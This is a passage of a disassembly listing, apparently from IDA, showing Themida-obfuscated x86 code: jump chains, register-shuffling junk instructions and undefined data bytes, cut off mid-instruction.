loc_551E34: ; CODE XREF: Themida_:00553D06j mov [esp], ebp push esp jmp loc_56141E ; --------------------------------------------------------------------------- loc_551E3D: ; CODE XREF: Themida_:00563993j xchg ebp, edi pop ebp jmp loc_5515C3 ; --------------------------------------------------------------------------- loc_551E45: ; CODE XREF: Themida_:00552E62j jz loc_558546 push 31B1h mov [esp], ecx push esi jmp loc_56097A ; --------------------------------------------------------------------------- loc_551E59: ; CODE XREF: Themida_:00561DFEj mov esi, 66452CE0h jmp loc_564500 ; --------------------------------------------------------------------------- db 1 dd 7BBA52D7h, 8154613Ah, 0AB3BF2F2h, 42D2F70Ah, 0F281D2F7h dd 6D455FBAh, 0E95AD729h, 367Ch, 555DE801h, 412773BDh dd 5DEB0167h, 10B2E9h, 2434FF00h, 0EBE95658h db 4Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_551E9F: ; CODE XREF: Themida_:0056307Dj push edi push ebx mov ebx, 3C5C043Ah mov edi, 30951E8Dh jmp loc_554D43 ; --------------------------------------------------------------------------- dd 0C281E289h, 4, 6804EA83h, 3E61h, 0FF241489h, 0E9042474h dd 87Ch, 5007E6C1h, 4177FB8h, 58C63139h, 0E444C681h, 0EF81D0EEh dd 51ED7A02h, 0C781F701h, 51ED7A02h, 4B67E9h, 24348900h dd 5624148Bh, 0C681E689h, 4, 12749E9h, 0EC815D00h, 4, 0B8240489h dd 70EA6ED5h, 48BC229h, 4C48124h, 1000000h, 0CAC6E9C2h dd 0E9540000h, 10459h, 8B241C33h, 89662424h, 0DCE9240Ch dd 81FFFFDFh, 4C2h, 24143300h, 33241431h, 565C2414h, 8DFC4CBEh dd 5EF33160h, 1646CA05h, 2DD8012Bh, 2B1646CAh, 0E8DEE95Bh dd 815C0000h, 0F0FAFC7h, 0E9FB01EEh, 2F8Bh ; --------------------------------------------------------------------------- loc_551F74: ; CODE XREF: Themida_:0055496Aj add edi, 365B6FA9h jmp loc_556203 ; --------------------------------------------------------------------------- loc_551F7F: ; CODE XREF: Themida_:0055CC1Fj inc eax jmp loc_55E378 ; --------------------------------------------------------------------------- db 31h, 34h, 24h dd 8B243433h, 0C892424h, 0DF81E924h, 0D101FFFFh, 5224148Bh dd 9D68E289h, 89000000h, 0A6BD242Ch, 45657D5Bh, 42FBCD81h dd 0F58164E3h, 65FF5BFBh, 515DEA01h, 4B9h, 59CA0100h, 0E9241433h dd 4F61h, 2404D366h, 0DF41E99Ch, 2BDFFFFh, 1000000h, 0C335DE9h dd 240C3124h, 5C240C33h, 24042166h, 0DF25E99Ch, 2C8BFFFFh dd 4C48324h, 4EE81h, 0E9560000h, 11272h ; --------------------------------------------------------------------------- loc_552004: ; CODE XREF: Themida_:00562B51j sub bl, al push 4C12h mov [esp], ecx jmp loc_5539A8 ; --------------------------------------------------------------------------- loc_552013: ; CODE XREF: Themida_:00555736j push 36E5782Bh jmp loc_561E79 ; --------------------------------------------------------------------------- db 68h, 3Dh, 21h dd 34FF48EDh, 0FFE95F24h, 810000C6h, 4C7h, 4EF8100h, 0E9000000h dd 0E1CCh, 80E9C301h, 50000086h, 0E9243C87h, 0EFA7h dword_55204C dd 240C8B66h, 8904EC83h, 0EC83241Ch, 48F5404h, 0BA525024h ; DATA XREF: Themida_:0054FCCCo dd 872589h, 4A7AC281h, 0ECE97511h, 89000028h, 21B951E6h dd 0D1601302h, 6CE981E1h, 832AB072h, 74E904ECh, 87000048h dd 248B240Ch, 9FCCE924h, 148B0000h, 4C48124h, 0FF000000h dd 0D4E92434h, 8B000039h, 0BF0F2424h, 44968C8h, 0C890000h dd 0DE61E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5520B6: ; CODE XREF: Themida_:0055B846j add dword ptr [esp], 4 jmp loc_55BB53 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 242C8900h, 4BDh, 0BAEA8100h, 8174F01Eh, 0E24254C2h dd 0CBEA810Fh, 1062F49h, 0CBC281EAh, 81062F49h, 0E24254EAh dd 0BAC2810Fh, 0E974F01Eh, 161Ah, 7E73C781h, 7BE964D6h db 43h, 2 dup(0) ; --------------------------------------------------------------------------- loc_552103: ; CODE XREF: Themida_:00562E77j sub ecx, 0E6E137Bh push eax mov eax, ecx mov edx, eax pop eax pop ecx sub esp, 4 mov [esp], edx jmp loc_55A789 ; --------------------------------------------------------------------------- aTSdd db 'T^鄤',0 db 0 ; --------------------------------------------------------------------------- loc_552125: ; CODE XREF: Themida_:00565102j mov edx, 4 add [esp+4], edx pop edx pop edx sub esp, 4 mov [esp], eax mov eax, 4 add edx, eax mov eax, [esp] jmp loc_554852 ; --------------------------------------------------------------------------- loc_552145: ; CODE XREF: Themida_:00550EC7j mov edi, ebx push dword ptr [esp] pop ebx push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5655CD ; --------------------------------------------------------------------------- db 83h dd 148704C2h, 0D3D4E924h, 0EC830000h, 243C8904h, 0D36DDCBFh dd 1C7816Bh, 0C1000000h, 0EF8106EFh, 0C7F5463Ch, 8904EC83h dd 481243Ch, 0A4723B24h, 0EE815E4Eh, 4EA4723Bh, 0E9243C8Bh dd 12BCCh ; --------------------------------------------------------------------------- loc_5521A4: ; CODE XREF: Themida_:00562A30j sub ebp, 84048402h mov ecx, ebp pop ebp sub ecx, 65171F52h add ecx, edx add ecx, 65171F52h jmp loc_5633C7 ; --------------------------------------------------------------------------- loc_5521C0: ; CODE XREF: Themida_:0055D1D1j pop ecx push esi jmp loc_561E1C ; --------------------------------------------------------------------------- loc_5521C7: ; CODE XREF: Themida_:00562162j pop eax or edx, ebp pop ebp sub edx, 8FBCF2FDh and eax, edx mov edx, [esp] add esp, 4 shr eax, 10h xor eax, ecx jmp loc_557227 ; --------------------------------------------------------------------------- loc_5521E6: ; CODE XREF: Themida_:00560591j pop edx add eax, 51956B3Bh add eax, edx sub eax, 51956B3Bh push ebx mov ebx, 1DC33F75h inc ebx or ebx, 4C5331B9h shr ebx, 4 sub ebx, 96682ABAh add eax, ebx pop ebx mov edx, [esp] jmp loc_561534 ; --------------------------------------------------------------------------- loc_552214: ; CODE XREF: Themida_:00559EF6j mov [esp], ebp jmp loc_55CB25 ; --------------------------------------------------------------------------- dd 4C4815Bh, 81000000h, 5C79FDC2h, 426E97Fh db 1, 0 ; --------------------------------------------------------------------------- loc_55222E: ; CODE XREF: Themida_:0055B7ABj add ebp, 4 jmp loc_561730 ; --------------------------------------------------------------------------- dw 0C8Bh dd 4C48124h, 1000000h, 0D6015EF2h, 4C6815Ah, 33000000h dd 34312434h, 24343324h, 5EF0015Ch, 81E38953h, 4C3h, 0A056E900h dd 895C0000h, 5D54242Ch, 4C581h, 0BA520000h, 72441790h dd 4BA3E281h, 0E2C10BF6h, 0F7CA8102h, 504D2D7Bh, 524CE9h dd 2C48300h, 1BBF6657h, 66526638h, 660E0FBAh, 5A66D701h dd 0CDCF8166h, 0CF81660Dh, 4F662F84h, 5EF78166h, 0F801660Eh dd 0C801665Fh, 61B02D66h, 0F2B2D66h, 240C8B66h, 63F768h dd 1687E900h db 1, 0 ; --------------------------------------------------------------------------- loc_5522CE: ; CODE XREF: Themida_:0055B924j push 1A20h mov [esp], ecx jmp loc_553896 ; --------------------------------------------------------------------------- db 9 dd 0F2815EF2h, 121313Fh, 5867F281h, 0EAD147D8h, 8904EC83h dd 10B82404h, 31039B74h, 0D18958C2h, 0BCF2E9h db 0 ; --------------------------------------------------------------------------- loc_552301: ; CODE XREF: Themida_:0055E3A3j pop esi push 4A58h mov [esp], eax mov eax, 4AC91BE3h sub esp, 4 mov [esp], ebx mov ebx, 1C1C037Ch neg ebx shl ebx, 2 dec ebx jmp loc_563DD5 ; --------------------------------------------------------------------------- db 52h, 51h, 0B9h dd 3144081Fh, 44081BBAh, 59CA3131h, 685AD601h, 197Ch, 0FF243489h dd 5E042474h, 8B24048Fh, 34FF2424h, 0B7C9E924h, 0D1BA0000h dd 813AB101h, 633F36F2h, 0FBF5731h, 811C3767h, 0A60ADBF7h dd 5FFA3108h, 80EBE9h, 0E9EB0100h, 0FFFFE08Dh, 0E25BE953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55237E: ; CODE XREF: Themida_:0055ED53j push eax mov eax, 45BA537Dh jmp loc_559DDE ; --------------------------------------------------------------------------- a90uxsi db '´&³90ãX鈚',0 dd 4685700h, 5F000000h, 34FFFE01h, 0C4815F24h, 4, 2FE95652h db 0B5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5523AF: ; CODE XREF: Themida_:005518FBj pop esi jmp loc_561C02 ; --------------------------------------------------------------------------- loc_5523B5: ; CODE XREF: Themida_:005602C6j mov [esp], esi jmp loc_55CAFB ; --------------------------------------------------------------------------- db 51h, 89h, 0E1h dd 4BA52h, 0D1010000h, 1B7FE9h, 2434FF00h, 4C48359h, 0FFFCE6E9h dd 4EA83FFh, 2E70E9h, 0FFFF0500h, 9E9FFFFh db 0CEh, 2 dup(0) byte_5523EB db 66h ; DATA XREF: Themida_:0054FC9Co dd 57240C8Bh, 0C7815F54h, 4, 3304EF83h, 3C31243Ch, 243C3324h dd 8924248Bh, 0EC83243Ch, 24248904h, 4240483h, 5F2434FFh dd 4EC81h, 14890000h, 81E28924h, 4C2h, 0EB28E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55242E: ; CODE XREF: Themida_:0056412Aj push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp push ecx mov ecx, 4BF12D66h xor ecx, 23033C06h or ecx, 11A046C8h push esi mov esi, 0DE658C82h sub ecx, esi pop esi add esi, 7FCF52F2h add esi, ecx jmp loc_559713 ; --------------------------------------------------------------------------- db 68h dd 3D5Ah, 0E9241C89h, 0EA45h, 525BDF01h, 268h, 67E95A00h db 1Ch, 1, 0 ; --------------------------------------------------------------------------- loc_55247B: ; CODE XREF: Themida_:00560DE9j mov [esp], edi mov edi, 241C079Fh sub eax, edi mov edi, [esp] add esp, 4 jmp loc_55098C ; --------------------------------------------------------------------------- dd 0E9DBF758h, 0F43Bh, 7D05FEB9h, 0E9E9871Bh, 12A75h ; --------------------------------------------------------------------------- loc_5524A4: ; CODE XREF: Themida_:0055910Bj xchg ecx, ebp not ecx xchg ecx, ebp sub esp, 4 jmp loc_560F0B ; --------------------------------------------------------------------------- dw 478Fh dd 62026840h, 4890000h, 5E7E6824h, 1C890000h, 5F5ABB24h dd 0EC813520h, 4, 0E9241C89h, 481Bh, 5D2434FFh, 4C481h dd 5C010000h, 1C8B0424h, 0AF1EE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5524EE: ; CODE XREF: Themida_:00561403j xchg eax, ebp push 62C8h mov [esp], ecx mov ecx, 5BDA7315h jmp loc_55E347 ; --------------------------------------------------------------------------- db 0C1h, 0EAh, 8 dd 10CEDE9h, 24448100h, 0BC4A5004h, 246C0159h, 246C8104h dd 0BC4A5004h, 81585D59h, 4ECh, 240C8900h, 0FFDDA5E9h db 0FFh ; --------------------------------------------------------------------------- loc_55252D: ; CODE XREF: Themida_:005585BCj mov ebx, 60232A31h and ebx, 1EB3985h shl ebx, 5 push edi mov edi, 73216C1Fh or ebx, edi mov edi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xor ebx, 77656C3Bh push ebx pop esi pop ebx add ecx, esi mov esi, [esp] add esp, 4 jmp loc_5633F4 ; --------------------------------------------------------------------------- db 59h dd 86496B68h, 0EFC15F22h, 0C7834705h, 0EF781FFh, 2999E8AEh dd 0EB815EF7h, 190F41C0h, 0C381FB29h, 190F41C0h, 0BC25E9h dd 9E95500h db 50h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55259F: ; CODE XREF: Themida_:0055D125j add edx, esi pop esi add edx, 4 xchg edx, [esp] pop esp push dword ptr [edi+1Ch] push 6E26h mov [esp], ebp push esi mov esi, 32CF3AA0h shr esi, 4 xor esi, 4E8FDA35h jmp loc_55F168 ; --------------------------------------------------------------------------- dd 0F7242C89h, 815D2414h, 3BA7F7C5h, 2C8155D6h, 57269724h dd 0C3815B31h, 31572697h, 2F5BA5Dh, 0C281CE1Dh, 6A0653C7h dd 0EA81DA01h, 6A0653C7h, 7EAC15Bh, 5505E2C1h, 943CBB53h dd 0DD890F45h, 0E92434FFh, 0FFFFFC0Ch, 0DEF7D6F7h, 7EABD55h dd 0EDC12239h, 0C8ED8106h, 814F7367h, 4ECh, 0E1B8E900h dd 92BD0000h, 17FC25Eh, 0C1815DE9h, 0D482617h, 6AE9F101h dd 8800006Bh, 7C8858C7h, 34FF0187h, 0C4835B24h, 2434FF04h dd 5716859h, 14890000h, 0AE1DE924h, 0DBBD0000h, 0BE2AF544h dd 542EC09Fh, 18C5C681h, 0EE01793Dh, 18C5EE81h, 2C8B793Dh dd 52D6E924h, 0FD890000h, 0FFEE315Fh, 2C8B2434h, 2ADDE924h dd 0EC800001h, 52B2E9FFh, 89660000h, 0DAE9241Ch db 0C4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5526A3: ; CODE XREF: Themida_:0055F4DBj pop edi add ebx, 138A223Ah jmp loc_55CF02 ; --------------------------------------------------------------------------- loc_5526AF: ; CODE XREF: Themida_:0056169Dj pop eax xor edx, 4BC64962h jmp loc_55F60E ; --------------------------------------------------------------------------- loc_5526BB: ; CODE XREF: Themida_:005572D4j add edx, ebx pop ebx pop esi sub esp, 4 mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp jmp loc_55AEE6 ; --------------------------------------------------------------------------- aEsC db 'Eé$–',0 dd 0F5815D00h, 0FFEAF9BBh, 0FFF010E9h, 241489FFh, 0FFFEACE9h dd 24348BFFh, 4C481h, 0EC830000h, 17A4E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5526FE: ; CODE XREF: Themida_:0055ACF3j mov esp, [esp] jmp loc_55DCF8 ; --------------------------------------------------------------------------- loc_552706: ; CODE XREF: Themida_:0055AF85j xor esi, 41493683h add ebp, esi jmp loc_553BDB ; --------------------------------------------------------------------------- db 87h dd 315C240Ch, 4332404h, 0B618E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552722: ; CODE XREF: Themida_:005505B8j push ebx jmp loc_553D0B ; --------------------------------------------------------------------------- loc_552728: ; CODE XREF: Themida_:0054FFACj or ebp, 6B7D003Fh jmp loc_55440D ; --------------------------------------------------------------------------- loc_552733: ; CODE XREF: Themida_:005563D3j sub edi, 3B0A6E18h mov edx, edi pop edi jmp loc_5545BD ; --------------------------------------------------------------------------- db 21h, 0F0h, 0E9h dd 3BE5h, 24048F5Ah, 10FC5E9h, 17BF6800h, 4890000h, 0F51BE924h dd 0EC830000h, 24048904h, 0E480E9B4h, 0E9C4FEB5h, 4F51h dd 0C104E9C1h, 0F18105E9h, 3765215h, 159C831h, 0EC8158C1h dd 4, 0BE243489h, 4, 0FE98E955h, 0E952FFFFh, 4D84h ; --------------------------------------------------------------------------- loc_55279C: ; CODE XREF: Themida_:00558C54j push dword ptr [esp] pop ecx push edx mov edx, esp jmp loc_55F640 ; --------------------------------------------------------------------------- dd 0F9BB5355h, 505E3105h, 0AB34B2B8h, 1E26E929h, 0C330000h dd 240C3124h, 0E9240C33h, 3BC3h ; --------------------------------------------------------------------------- loc_5527C8: ; CODE XREF: Themida_:00559F7Fj xchg ebp, [esp] pop esp mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp jmp loc_562927 ; --------------------------------------------------------------------------- loc_5527DD: ; CODE XREF: Themida_:00551261j pop ebx xor esi, 36A0533Fh push ecx mov ecx, 3CF75D8Bh jmp loc_554340 ; --------------------------------------------------------------------------- loc_5527EF: ; CODE XREF: Themida_:00561773j pop edx mov ch, bl jmp loc_563E9B ; --------------------------------------------------------------------------- db 89h dd 14F72404h, 0F8355824h, 0E9D5B0A1h, 2D4Fh ; --------------------------------------------------------------------------- loc_552808: ; CODE XREF: Themida_:0055CFDFj pop ecx sub ebx, 4 jmp loc_564B90 ; --------------------------------------------------------------------------- dd 4BEh, 24740100h, 348B5E04h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_5572A2 ; --------------------------------------------------------------------------- loc_552829: ; CODE XREF: Themida_:0056038Bj sub esp, 4 mov [esp], ebx jmp loc_554F57 ; --------------------------------------------------------------------------- loc_552834: ; CODE XREF: Themida_:0055BBC1j test ecx, eax pushf jmp loc_54FF17 ; --------------------------------------------------------------------------- loc_55283C: ; CODE XREF: Themida_:0055F486j and ebp, 5FD05B9Fh xor ebp, 6F687B74h jmp loc_564EAF ; --------------------------------------------------------------------------- db 68h, 0C5h, 53h dd 0F75A012Bh, 0F50BE9DAh, 0C5810000h, 49326F06h, 156FE9h dd 0C7814700h, 7B680CB5h, 0D15BE9h, 1EF8100h, 81000000h dd 0A63EBC7h, 0B95147BAh, 48DB6EEDh, 55E9D9F7h, 460000CCh dd 81E38953h, 4C3h, 15556800h, 4890000h, 0E929E924h, 0EA81FFFFh dd 103219DFh, 0C281DA01h, 103219DFh, 0FFEEFDE9h, 48B66FFh db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 4 mov [esp], esi mov esi, 62045246h push edx mov edx, 210B0B18h jmp loc_561100 ; --------------------------------------------------------------------------- db 0B6h, 2Ah, 0 dd 24148BF0h, 2C04C483h, 240C8B77h, 0E9E18951h, 71C3h dd 43E9CA89h db 0F9h, 2 dup(0FFh) aM0Hr db '¬0Øhr-',0 ; DATA XREF: Themida_:0054FE7Co dw 0E900h dd 2AC1h, 5B7012BDh, 0E9E80131h, 122C1h, 5A241429h, 0C39DE9h db 0 ; --------------------------------------------------------------------------- loc_552915: ; CODE XREF: Themida_:0054FF49j pop edx mov esi, eax jmp loc_55C3A3 ; --------------------------------------------------------------------------- aBaM1sss db 'íĬÈÉ1èésÝ',0 align 2 dw 3C87h dd 24248B24h, 0C8B60F66h, 5BBE68h, 241C8900h, 2434FF54h dd 83241C8Bh, 0EC8104C4h, 4, 89240489h, 405E0h, 0F1E90000h db 98h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55295B: ; CODE XREF: Themida_:0055A27Ej pop eax push eax mov eax, 5808189Eh neg eax add eax, 0A69F5750h sub ebx, eax mov eax, [esp] add esp, 4 jmp loc_564921 ; --------------------------------------------------------------------------- dw 895Ch dd 0CCB22414h, 0E91FC280h, 27E0h ; --------------------------------------------------------------------------- loc_552984: ; CODE XREF: Themida_:0055C69Aj mov ebp, 66482069h dec ebp sub ebp, 0DC478059h add ebx, ebp pop ebp add ecx, ebx jmp loc_562A76 ; --------------------------------------------------------------------------- loc_55299A: ; CODE XREF: Themida_:005632F8j mov ebx, [esp] push ebp mov ebp, esp jmp loc_55DF6C ; --------------------------------------------------------------------------- db 5Eh, 81h, 0C2h dd 0B60D32DEh, 148BD631h, 99AE924h, 0C2810001h, 151B59C5h dd 0EA81F201h, 151B59C5h, 547EA81h, 875E34B4h, 0A5E92414h dd 87000043h, 815C2404h, 4C7h, 0C0CAE900h db 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_55B93F ; --------------------------------------------------------------------------- loc_5529EA: ; CODE XREF: Themida_:005584CEj xchg ecx, [esp] mov esp, [esp] sub edi, 3BE528C6h jmp loc_562E7C ; --------------------------------------------------------------------------- loc_5529FB: ; CODE XREF: Themida_:0055FF45j shr ebp, 2 shl ebp, 4 shl ebp, 5 and ebp, 4A476580h jmp loc_55EF3D ; --------------------------------------------------------------------------- db 5Bh dd 592434FFh, 124CBE9h, 59585100h, 81242C8Bh, 4C4h, 52BCE900h dd 56BB0000h, 3154D67Dh, 0CF815BDFh, 5F8D7DEEh, 0E908EFC1h dd 3757h ; --------------------------------------------------------------------------- loc_552A40: ; CODE XREF: Themida_:00558950j xchg ebx, [esp] jmp loc_56447F ; --------------------------------------------------------------------------- dword_552A48 dd 582434FFh, 32E668h, 24348900h, 0C6815E54h, 4, 27FB68h ; DATA XREF: Themida_:0054FD38o dd 24148900h, 4EC8153h, 89000000h, 0C2BD242Ch, 83674259h dd 4DE904ECh, 81FFFFFBh, 1D2F52EEh, 0D586E903h, 0C481FFFFh dd 4, 5304E1C1h, 0FFFFFFBBh, 5BD929FFh, 0EF65E9h db 0 ; --------------------------------------------------------------------------- loc_552A9D: ; CODE XREF: Themida_:00560712j mov [esp], ebx mov ebx, esp add ebx, 4 jmp loc_553096 ; --------------------------------------------------------------------------- db 5Ch, 66h, 89h dd 89572414h, 4C781E7h, 0E9000000h, 0F2F4h, 2B0B68h, 241C8900h dd 681F6866h, 24148966h, 2AE956B2h, 5D000089h, 2773EB81h dd 1DE96741h, 810000BAh, 0B04246Ch, 13B997Ah, 8104245Ch dd 0B042444h, 813B997Ah, 2E04246Ch, 5B1CB31Ch, 91242C81h dd 52170D64h, 0B7CC4BAh, 2454291Ah, 2C815A04h, 0E2708824h dd 24040134h, 88240481h, 8134E270h, 7CC42404h, 0BA521A0Bh dd 170D6491h, 4244481h, 630644CBh, 4246C81h, 3B902AC3h dd 4245401h, 4244481h, 3B902AC3h, 4246C81h, 630644CBh dd 100A3E9h, 48F5B00h, 24895C24h, 24048124h, 4, 0F596E9h dd 24048900h, 0C046E9h, 2454F600h, 240C8B01h, 0C4FAE9h db 0 byte_552B81 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0054FC80o aH7 db '$hÁ7',0 align 2 aS_5 db 'éœØ',0 dw 0F700h dd 3EAC1DAh, 1C281h, 0EA810000h, 0D4437C83h, 815AD329h dd 0D06A85C3h, 81FB2932h, 0D06A85EBh, 4EC8132h, 89000000h dd 23BD242Ch, 814B8347h, 245AF9C3h, 0C9EB8167h, 11E9E04h dd 0C9C381EBh, 811E9E04h, 245AF9EBh, 2434FF67h, 46D4E9h dd 0DC043500h, 0C2019EABh, 5624048Bh, 0C681E689h, 4, 0F976E9h dd 665B6600h, 2244481h, 0BAE91D39h, 520000CBh, 7DBCE9h dd 558B0500h, 0C521BDFDh, 0FF65E9h, 0F6C4FE00h, 0FA70E9DCh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552C22: ; CODE XREF: Themida_:0055477Dj add esi, ecx pop ecx add esi, ebp sub esi, 66170CBDh pop ebp add esi, 4 push esi push dword ptr [esp+4] jmp loc_550B74 ; --------------------------------------------------------------------------- db 66h dd 66C8AF0Fh, 0D0E99C51h, 89FFFFD2h, 5DEB89FDh, 0A2BF575Fh dd 310B1D37h, 0F8E5E9FBh db 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_55ED52 ; --------------------------------------------------------------------------- db 31h, 0C6h, 8Bh dd 0E9532404h, 0CBF6h, 9C7E42B9h, 0F0C98103h, 0C14E4B63h dd 494104E1h, 0AB1CC181h, 0CF29F48Dh, 6143E9h, 1DACBD00h dd 0ED8161C6h, 0DBDB5D3h, 15DEA29h, 0BDE95AD1h, 0B900011Dh dd 667E1B91h, 0C1D1F741h, 0BA5207E9h, 16A33C67h, 8724E9h dd 0C4835B00h, 4C48304h, 0D86EE9h db 0 ; --------------------------------------------------------------------------- loc_552CD1: ; CODE XREF: Themida_:00558FF1j push edi push ebx push 7FA61A18h pop ebx jmp loc_564AD6 ; --------------------------------------------------------------------------- dw 0EE83h dd 24348704h, 242C895Ch, 0AAE9E589h, 8300005Eh, 3C8904ECh dd 23E95B24h, 830000DBh, 0E80104C4h, 8B2434FFh, 0C483242Ch dd 3077E904h, 55590000h, 4BDh, 159BE900h, 0B1350000h, 0C12F0B49h dd 0BA5202E8h, 62793D0Eh, 2D5AD029h, 0FFFFFFFFh, 0F2A8BD05h dd 0E9C30143h, 0F387h ; --------------------------------------------------------------------------- loc_552D3C: ; CODE XREF: Themida_:005532FDj push edi mov edi, 2F2572C0h mov ebp, edi pop edi push esi mov esi, 6C2D7FA3h not esi xor esi, 0C1B2A41Ah xor ebp, esi push dword ptr [esp] mov esi, [esp] add esp, 4 push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] xor ebp, 7D455682h add ecx, ebp pop ebp jmp loc_5616B3 ; --------------------------------------------------------------------------- aS8 db '^é8Ã',0 dw 0FF00h db 34h, 24h, 58h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov [esp], eax mov eax, esp add eax, 4 jmp loc_55D072 ; --------------------------------------------------------------------------- loc_552DB0: ; CODE XREF: Themida_:00561259j mov edi, 7BE10380h dec edi and edi, 26FF345Eh jmp loc_555C75 ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 81E18951h, 4C1h, 0A295E900h, 4D4D0000h, 541CF581h, 0EE810B6Dh dd 206B3BBDh, 0C681EE01h, 206B3BBDh, 2EE835Dh, 31243433h dd 34332434h, 0DD0AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552DFA: ; CODE XREF: Themida_:0055BA73j add ebp, 4 push edx mov edx, 2E7F66FFh not edx or edx, 5D621FF9h not edx xor edx, 0BD92A55h add edx, 0D63BB5B1h jmp loc_55EDE4 ; --------------------------------------------------------------------------- loc_552E21: ; CODE XREF: Themida_:00563E1Bj mov edx, 783A5DA3h jmp loc_55AA77 ; --------------------------------------------------------------------------- loc_552E2B: ; CODE XREF: Themida_:0055D5D4j mov edi, 0B9714B6h mov ebx, 26BD5EA8h xor ebx, edi pop edi jmp loc_55175F ; --------------------------------------------------------------------------- db 89h, 0C6h, 8Bh dd 54562404h, 0FFD35CE9h, 0E96EB1FFh, 0C210h, 0B6B1B753h dd 9CB353CEh, 0AD25E9h db 0 ; --------------------------------------------------------------------------- loc_552E5D: ; CODE XREF: Themida_:00557D9Cj and eax, ecx pop ecx or eax, eax jmp loc_551E45 ; --------------------------------------------------------------------------- db 88h dd 58E188FCh, 81241C8Bh, 4C4h, 5F9E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552E7A: ; CODE XREF: Themida_:0055DF22j mov [esp], edx push esp mov edx, [esp] add esp, 4 jmp loc_55047D ; --------------------------------------------------------------------------- db 89h, 0E3h, 0E9h dd 0FD22h ; --------------------------------------------------------------------------- loc_552E90: ; CODE XREF: Themida_:00562E84j push dword ptr [esp] pop esi add esp, 4 jmp loc_5546D7 ; --------------------------------------------------------------------------- loc_552E9C: ; CODE XREF: Themida_:00564A5Dj add ecx, 4 xchg ecx, [esp] pop esp xor eax, 253D136Ah neg eax add eax, 0FFFFFFFFh push edi mov edi, 2CFA6565h add eax, edi pop edi mov edx, eax pop eax push eax mov eax, edx mov ebx, eax pop eax jmp loc_55DC01 ; --------------------------------------------------------------------------- loc_552EC6: ; CODE XREF: Themida_:005575C2j add esp, 4 push cx sub esp, 4 jmp loc_555A92 ; --------------------------------------------------------------------------- loc_552ED9: ; CODE XREF: Themida_:0055BB92j add edi, 1813221Fh sub edi, 2B9B7BA4h add edi, ebp add edi, 2B9B7BA4h jmp loc_557AD7 ; --------------------------------------------------------------------------- loc_552EF2: ; CODE XREF: Themida_:00563D62j mov dl, 14h add bl, dl pop edx sub bl, 57h sub bl, 0F6h add bl, al add bl, 0F6h push edx mov dl, 17h add dl, 40h jmp loc_554D06 ; --------------------------------------------------------------------------- loc_552F0D: ; CODE XREF: Themida_:00561A7Ej mov [esp], ebx push dword ptr [esp+4] pop ebx jmp loc_55962D ; --------------------------------------------------------------------------- dw 0EB2Dh dd 5F581657h, 48BC701h, 4C48124h, 0E9000000h, 0D4BAh ; --------------------------------------------------------------------------- loc_552F30: ; CODE XREF: Themida_:00553653j xor ebx, 9653003h push eax mov eax, 1FE24A8Fh jmp loc_550E37 ; --------------------------------------------------------------------------- db 54h, 0E9h, 3Ah dd 81FFFFFEh, 4ECh, 243C8900h, 0EC1F98BFh, 5A0EE92Dh, 0C2810000h dd 6CE57693h, 0EA81DA01h, 6CE57693h, 0E9241C8Bh, 31D9h dd 0C15FFB01h, 28E906E3h, 0B800007Eh, 4, 4244481h, 5BCB14CAh dd 4244401h, 0CBC2E9h, 0EE095800h, 11379E9h db 0 ; --------------------------------------------------------------------------- loc_552F99: ; CODE XREF: Themida_:0055E971j sub edx, esi mov esi, [esp] add esp, 4 sub eax, 27F4C38h jmp loc_55A913 ; --------------------------------------------------------------------------- db 5Eh dd 51240C8Bh, 0C181E189h, 4, 4C181h, 0C870000h, 9F055C24h dd 57ADC5Ch, 10EB6BE5h, 0A643E705h, 2DF80158h, 58A643E7h dd 3426BD55h, 81455F50h, 435174F5h, 6EED8152h, 5FC27F9h dd 50D0273h, 0B951E829h, 7BC84ECDh, 3AA8E181h, 76E915AFh dd 0F7000029h, 0E9592414h, 0DC09h ; --------------------------------------------------------------------------- loc_55300C: ; CODE XREF: Themida_:00561D97j add ebp, 4B6777CFh pop edx add ebp, 5A2644CDh sub ebp, 0DFB6CE39h xor ecx, ebp pop ebp mov ebx, ecx mov ecx, [esp] add esp, 4 jmp loc_55E1B0 ; --------------------------------------------------------------------------- dw 34FFh dd 7BF1E924h, 248B0000h, 0F873E924h db 2 dup(0FFh) word_553042 dw 48Bh ; DATA XREF: Themida_:0054FD94o aVsU db '$Véµu',0 dw 0B900h dd 4, 4244C01h, 0FE37E9h, 0C6805C00h, 41EE80FDh, 0DE9EE00h dd 0F7000068h, 57C381DBh, 810534C2h, 0C44ECAEDh, 0B2ED8113h dd 8142A661h, 0A2702BEDh, 81DD0138h, 0A2702BC5h, 0ABB5338h dd 0F734D723h, 9AC1E9DBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_553096: ; CODE XREF: Themida_:00552AA8j add ebx, 4 push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg 